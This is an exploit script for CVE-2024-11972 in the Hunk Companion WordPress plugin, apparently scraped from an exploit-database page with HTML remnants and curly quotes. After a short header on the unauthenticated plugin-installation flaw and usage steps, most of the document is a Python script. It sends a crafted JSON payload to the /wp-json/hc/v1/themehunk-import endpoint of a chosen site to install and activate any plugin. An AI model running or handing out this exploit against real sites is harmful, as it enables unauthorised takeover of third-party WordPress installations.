\n# Exploit Title: Hunk Companion Plugin 1.9.0 – Unauthenticated Plugin Installation
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# Date: 16 December, 2024
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# Exploit Author: Jun Takemura
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# Author’s GitHub: https:\/\/github.com\/JunTakemura
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# Author’s Blog: juntakemura.dev
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# Vendor Homepage: https:\/\/themehunk.com
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# Software Link: https:\/\/wordpress.org\/plugins\/hunk-companion\/
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# Version: Tested on Hunk Companion 1.8.8
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# CVE: CVE-2024-11972
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# Vulnerability Description:
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# Exploits a flaw in the Hunk Companion plugin’s permission_callback for the
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# \/wp-json\/hc\/v1\/themehunk-import endpoint, allowing unauthenticated attackers
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# to install and activate arbitrary plugins from the WordPress.org repository.
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# Tested on: Ubuntu
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# Original vulnerability discovered by: Daniel Rodriguez
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#
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# Usage:
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# 1. Update `target_url` below with the target WordPress site’s URL.
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# 2. Update `plugin_name` with the slug of the plugin you want to install.
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# 3. Run: python3 exploit.py
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#
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import requests
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from urllib.parse import urljoin<\/p>\n
# Update ‘URL’ with your target WordPress site URL, for example “http:\/\/localhost\/wordpress”
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target_url = “URL”<\/p>\n
# Update ‘NAME’ with desired plugin’s name (slug), for example “wp-query-console”
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plugin_name = “NAME”<\/p>\n
endpoint = “\/wp-json\/hc\/v1\/themehunk-import”
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url = urljoin(target_url, endpoint)<\/p>\n
payload = {
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“params”: {
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“plugin”: {
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plugin_name: “Plugin Label”
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},
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“allPlugins”: [
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{
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plugin_name: f”{plugin_name}\/{plugin_name}.php”
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}
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],
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“themeSlug”: “theme”,
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“proThemePlugin”: “plugin”,
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“templateType”: “free”,
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“tmplFreePro”: “theme”,
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“wpUrl”: target_url
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}
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}<\/p>\n
headers = {
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“User-Agent”: “Mozilla\/5.0 (Windows NT 6.1; WOW64)”,
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“Content-Type”: “application\/json”
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}<\/p>\n
try:
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response = requests.post(url, json=payload, headers=headers, timeout=10)
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response.raise_for_status() # Raises an HTTPError if the response is not 2xx<\/p>\n
print(f”[+] Exploit sent successfully.”)
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print(f”Response Status Code: {response.status_code}”)
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print(f”Response Body: {response.text}”)
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except requests.exceptions.RequestException as e:
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print(f”[-] Request failed: {e}”)\n<\/div>\n
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